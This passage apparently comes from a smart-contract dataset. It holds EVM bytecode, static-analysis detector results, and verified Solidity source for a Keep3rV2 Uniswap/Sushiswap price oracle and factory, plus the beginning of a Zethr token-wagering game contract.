1180d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561185b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156118e657600080fd5b61193882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119cd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611ca0576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d34565b611cb383826117b790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e5d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611eab57600080fd5b611efd82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006120d582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061228157805160ff19168380011785556122af565b828001600101855582156122af579182015b828111156122ae578251825591602001919060010190612293565b5b5090506122bc91906122c0565b5090565b6122e291905b808211156122de5760008160009055506001016122c6565b5090565b905600a165627a7a723058200a00f4a284dd3da83f6c2d5870398f38b5eaa1bfa8963461725de0e067d381290029
|
{"success": true, "error": null, "results": {}}
| 8,476 |
0x3a31c0a41d758bed9c21836aff1056b8926dc264
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57600080fd5b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a6366004611587565b6101d0565b6040516100b9929190611652565b60405180910390f35b6100d56100d0366004611622565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611622565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610923565b610169610164366004611509565b610993565b604080519283526020830191909152016100b9565b6101a57f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a5881565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611544565b610d5c565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f1565b61ffff169050600061028f86886116d2565b6102999083611714565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169a565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172b565b63ffffffff168f6110ff565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169a565b92506104149050888461169a565b92506102ba565b60007f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d4565b845163ffffffff91821694506104c8935016905082611714565b9650505050505061072c565b61ffff80546000916104e991600191166116f1565b61ffff16905060006104fb86886116d2565b6105059083611714565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169a565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172b565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169a565b92506106709050888461169a565b9250610526565b60007f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d4565b845163ffffffff9182169450610724935016905082611714565b965050505050505b509550959350505050565b61ffff805460009161074b9184911661169a565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176a565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f1565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a581692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d4565b845163ffffffff91821694506000935061091792501683611714565b61070810949350505050565b6000336001600160a01b037f00000000000000000000000044f505675fb7daf813678889962f120b6515e14916146109865760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098e61113a565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b85783866109bb565b85845b5061ffff805491925060009182916109d691600191166116f1565b61ffff1661ffff81106109f957634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a581692635909c0d5926004818101939291829003018186803b158015610aa757600080fd5b505afa158015610abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adf919061163a565b610ae991906116d2565b610af391906116b2565b90506000620100005462010001547f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a586001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5a57600080fd5b505afa158015610b6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b92919061163a565b610b9c91906116d2565b610ba691906116b2565b905060007f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0357600080fd5b505afa158015610c17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3b91906115d4565b63ffffffff1692505050836000015163ffffffff16811415610ccd5761ffff8054600091610c6c91600291166116f1565b61ffff1661ffff8110610c8f57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce29063ffffffff1683611714565b90508015610cf05780610cf3565b60015b90508a6001600160a01b0316866001600160a01b03161415610d2f57610d2885602001516001600160701b031685838d6110ff565b9750610d4b565b610d4885604001516001600160701b031684838d6110ff565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d81578487610d84565b86855b5061ffff80549192506000918291610d9f91600191166116f1565b61ffff1690506000610db18783611714565b9050610dd6604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f26575b84841015610f2157610e2384600161169a565b905060008461ffff8110610e4757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea657634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0394921692916103c49161172b565b610f0d908761169a565b955083610f198161176a565b945050610e10565b611033565b8484101561103357610f3984600161169a565b905060008461ffff8110610f5d57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbc57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101594921692916103c49161172b565b61101f908761169a565b95508361102b8161176a565b945050610f26565b61103d8a876116b2565b985060007f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109a57600080fd5b505afa1580156110ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d291906115d4565b855163ffffffff91821694506110ec935016905082611714565b9850505050505050505094509492505050565b600082620100015486866111139190611714565b61111d90856116d2565b61112791906116b2565b61113191906116b2565b95945050505050565b61ffff80546000918291829161115391600191166116f1565b61ffff1661ffff811061117657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a581692630902f1ac926004818101939291829003018186803b15801561121357600080fd5b505afa158015611227573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124b91906115d4565b84519093506000925061125f91508361172b565b90506107088163ffffffff1611156114cc576000620100005462010001547f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a586001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d657600080fd5b505afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e919061163a565b61131891906116d2565b61132291906116b2565b90506000620100005462010001547f00000000000000000000000056feaccb7f750b997b36a68625c7c596f0b41a586001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c1919061163a565b6113cb91906116d2565b6113d591906116b2565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141c83611748565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145957634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600195945050505050565b6000935050505090565b80356001600160a01b03811681146114ed57600080fd5b919050565b80516001600160701b03811681146114ed57600080fd5b60008060006060848603121561151d578283fd5b611526846114d6565b92506020840135915061153b604085016114d6565b90509250925092565b60008060008060808587031215611559578081fd5b611562856114d6565b935060208501359250611577604086016114d6565b9396929550929360600135925050565b600080600080600060a0868803121561159e578081fd5b6115a7866114d6565b9450602086013593506115bc604087016114d6565b94979396509394606081013594506080013592915050565b6000806000606084860312156115e8578283fd5b6115f1846114f2565b92506115ff602085016114f2565b9150604084015163ffffffff81168114611617578182fd5b809150509250925092565b600060208284031215611633578081fd5b5035919050565b60006020828403121561164b578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168b5781518452928401929084019060010161166f565b50505092019290925292915050565b600082198211156116ad576116ad611785565b500190565b6000826116cd57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116ec576116ec611785565b500290565b600061ffff8381169083168181101561170c5761170c611785565b039392505050565b60008282101561172657611726611785565b500390565b600063ffffffff8381169083168181101561170c5761170c611785565b600061ffff8083168181141561176057611760611785565b6001019392505050565b600060001982141561177e5761177e611785565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220ec4032a6e9c8a8a5f22ddb49e0b754f4e6bd04a0cd656c00c491dcc889c9cc4a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,477 |
0xd556743cff4818543989e4c6256d5b18d153c258
|
pragma solidity ^0.4.23;
/*
* Zethell.
*
* Written June 2018 for Zethr (https://www.zethr.io) by Norsefire.
* Special thanks to oguzhanox and Etherguy for assistance with debugging.
*
*/
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethell is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How much of the current token balance is reserved as the house take?
uint private houseTake;
// How many tokens are currently being played for? (Remember, this is winner takes all)
uint public tokensInPlay;
// The token balance of the entire contract.
uint public contractBalance;
// Which address is currently winning?
address public currentWinner;
// What time did the most recent clock reset happen?
uint public gameStarted;
// What time will the game end if the clock isn't reset?
uint public gameEnds;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
mapping (uint => uint) tokenToTimer;
// Fire an event whenever the clock runs out and a winner is determined.
event GameEnded(
address winner,
uint tokensWon,
uint timeOfWin
);
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered,
uint _newExpiry
);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
currentWinner = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// To start with, we only allow bets of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
// Logarithmically decreasing time 'bonus' associated with higher amounts of ZTH staked.
tokenToTimer[5e18] = 60 minutes;
tokenToTimer[10e18] = 40 minutes;
tokenToTimer[25e18] = 25 minutes;
tokenToTimer[50e18] = 15 minutes;
// Set the initial timers to contract genesis.
gameStarted = now;
gameEnds = now;
gameActive = true;
}
// Don't send Ether to this, for the love of God.
function() public payable { revert(); }
// If the contract receives tokens, bundle them up in a struct and fire them over to _stakeTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_stakeTokens(_tkn);
return true;
}
